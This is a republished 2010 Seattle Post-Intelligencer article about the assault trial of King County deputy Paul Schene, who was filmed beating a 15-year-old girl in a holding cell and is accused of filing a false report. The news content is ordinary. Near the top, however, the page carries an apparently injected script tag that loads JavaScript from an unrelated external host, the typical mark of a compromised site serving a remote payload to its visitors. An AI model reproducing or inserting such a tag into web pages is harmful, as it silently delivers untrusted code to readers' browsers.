NEWS > 12 January 2010

Article sourced from

King County Sheriff's Office,<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Seattle Post Intelligencer
12 January 2010

This article appeared in the above title/site.
To view it in its entirity click this link.

King County Sheriff's Office,

Tale of the tape? Trial begins

The video clearly shows a King County Sheriff's deputy pummeling a 15-year-old girl inside a holding cell after she had kicked her shoe at him.

But will the video prove beyond a reasonable doubt that then-Deputy Paul Schene used excessive force and should be convicted of a crime? Or, could jurors be persuaded by his attorney, who argues that the deputy felt he was protecting himself?

King County prosecutors hope it's the former as Schene's trial is expected to start Tuesday in King County Superior Court, where he is charged with fourth-degree assault, a gross misdemeanor. He faces up to a year in jail if convicted.

Schene is accused of assaulting Malika Calhoun, a then-15-year-old who had been stopped on suspicion of stealing a car. Later, police learned Calhoun and a friend were driving a car that they'd taken without permission from another friend's mother.

A 12-member jury was selected Monday for the trial, which is expected to last four days. The video is a central piece of the case, although prosecutors have not been successful in recent cases when trying to prove criminal charges against officers accused of misconduct.

Sheriff Sue Rahr fired Schene, 32, in September for numerous policy violations that included using excessive force and making false statements. His union is appealing his termination.

Postponements

But his trial has been postponed several times, the latest in November upon his attorney's request for safety reasons after the fatal shooting of Seattle police officer Timothy Brenton. The man charged in the shooting, Christopher Monfort, also had a fixation with Schene's case that allegedly influenced his planned attacks against police.

Authorities say he had tracked down Schene's address. They also say Monfort also left a threatening note about Schene and another deputy after torching several Seattle police cars eight days before Brenton's slaying.

Since then, five more area police officers have been fatally shot in the line of the duty in two unrelated and shocking cases, making 2009 the second-deadliest year for law enforcement in state history. But prosecutors say they don't expect publicity about the recent violence against police officers to affect Schene's trial.

"As tragic as those events are, they're not part of this case," said Ian Goodhew, deputy chief of staff in the prosecutor's office. "The jurors will be instructed to listen to the facts of this case and to follow the law. Our jury system is based on the idea that jurors will follow instructions, and I have faith that they will."

Schene's conduct came to light because he and another deputy alleged in a report that the teenager had resisted arrest and assaulted Schene inside a holding cell at a SeaTac police precinct on Nov. 29, 2008.

Detectives sought video evidence from the cell's security camera and instead found footage of Schene as he kicked, punched and tossed the girl to the floor after she had kicked her shoe at him. In his report, Schene, a training officer and eight-year veteran, said the girl's tennis shoe struck his shin, causing "bruising, bleeding and pain."

Schene and the second deputy, Travis Brunner, had arrested Calhoun and her 15-year-old friend on suspicion of auto theft. Brunner assisted Schene in handcuffing Calhoun inside the holding cell, although prosecutors did not file charges against Brunner. Schene wrote that he "placed" the girl in handcuffs.

Schene claimed that the shoe caused a welt and abrasion on his right shin that required medical attention. But investigators think he suffered the welt when his shin struck a metal toilet in the holding cell as he shoved Calhoun against the wall, according to investigative records.

Brunner, a rookie who had been temporarily assigned to Schene's supervision that night, told investigators he was troubled by what happened, and the fact that Schene had ordered him to write in his report that the shoe had caused bleeding and pain, according to investigative records. But he decided not to say anything.

"It's not an unwritten or anything -- it's just like -- okay -- your (field training officer) is telling you to do something. Obviously he's been on the force a lot longer, he knows what needs to be done as for report wise," Brunner said, according to a transcript of his statement to sheriff's investigators.

Calhoun, who is black, alleged to investigators that Schene used a racial slur when speaking to her prior to the incident inside the cell, although she couldn't recall the exact context in which it was used.

Schene told investigators he uttered the slur, but only while asking Calhoun why she was using it when speaking to her friend, according to records.

Schene said the girl became mouthy towards officers when she realized she was under arrest, and called them names like "pig." She also made derogatory comments about Schene's wife, according to investigative records.

Calhoun and her family settled a civil rights claim against King County last year for $125,000.

After the internal investigation, Brunner was suspended for five days and placed on an extended probationary period with the Sheriff's Office. He kept his job, but the finding of misconduct will stay on his record.

While the case against Schene is bolstered by the video -- which circulated on the Internet and cable news shows -- prosecutors at the state and federal levels have not been successful in recent King County trials involving police misconduct, particularly with officers from the Sheriff's Office. In two cases during the last two years, deputies accused of assault were acquitted of criminal charges.

In December 2008, a federal jury acquitted Deputy Brian Bonnar of civil rights violations and lying to a grand jury, despite statements from four officers who testified for the prosecution. Bonnar, who worked in the same Burien precinct as Schene, was accused of twice dropping his knee on a handcuffed woman's head after a chase. The U.S. attorney's office handled the prosecution.

In March 2009, another deputy, Don Griffee, was acquitted of misdemeanor assault in King County District Court after he was accused of punching a handcuffed suspect who turned out to be innocent. Again, jurors weren't persuaded beyond a reasonable doubt, despite incriminating testimony from other officers. The state Attorney General's office handled the case on behalf of King County.

"This is a progressive area and issues of police misconduct are often in the consciousness of the community, but with individual cases, they just haven't panned out," Goodhew said.

Schene's attorney, Peter Offenbecher, declined to comment Monday.

The defense points out in pre-trial documents that any strike against a police officer performing his duty, either by a shoe or punch, could be considered a felony assault. The defense argues that Schene was justified because he feared that Calhoun was poised to kick another shoe at him and was escalating violence toward him, according to court records.

Calhoun, now 16, has had prior run-ins with the law and faced charges in Juvenile Court last year for threatening to shoot another girl at a local mall. Judge Michael Fox denied motions from Schene's attorney to enter her criminal record as evidence during the trial.

"Absent the evidence that Deputy Schene knew of Ms. Calhoun's criminal history, the jurors will be left with the entirely false impression that, at the time of the alleged assault, Deputy Schene believed that Ms. Calhoun was just an ordinary 15-year-old girl, with no criminal history, no experience dealing with police officers," according to a defense motion filed in court.

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Seattle Post Intelligencer12 January 2010

Tale of the tape? Trial begins

EiP Comments:

Seattle Post Intelligencer
12 January 2010